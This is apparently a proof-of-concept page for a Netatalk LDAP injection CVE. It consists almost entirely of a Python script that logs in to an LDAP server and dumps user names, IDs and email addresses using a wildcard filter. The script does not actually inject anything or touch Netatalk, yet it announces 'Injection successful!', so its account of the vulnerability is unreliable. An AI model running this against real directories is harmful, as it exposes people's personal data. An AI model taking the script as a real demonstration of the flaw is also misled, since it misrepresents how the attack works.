CVE-2026-44063 Netatalk LDAP注入漏洞

import ldap # Conceptual Proof of Concept for CVE-2026-44063 # This script demonstrates how an attacker might craft an LDAP filter to test for injection. target_host = "ldap://target-server-ip" base_dn = "dc=example,dc=com" username = "attacker" # Low privilege user password = "password" try: # Connect to the LDAP server conn = ldap.initialize(target_host) conn.simple_bind_s(username, password) # Malicious payload to bypass filters or extract data # Example: Using wildcard (*) to match any object or logical operators malicious_filter = "(|(cn=*)(uid=*))" # Simple example, actual payload depends on vulnerable parameter print(f"[*] Attempting injection with filter: {malicious_filter}") # Search operation with the crafted filter result = conn.search_s( base_dn, ldap.SCOPE_SUBTREE, malicious_filter, ['cn', 'uid', 'mail'] ) print("[+] Injection successful! Dumping data:") for dn, entry in result: print(f"DN: {dn}") print(f"Attributes: {entry}") except ldap.LDAPError as e: print(f"[-] Error: {e}") finally: conn.unbind()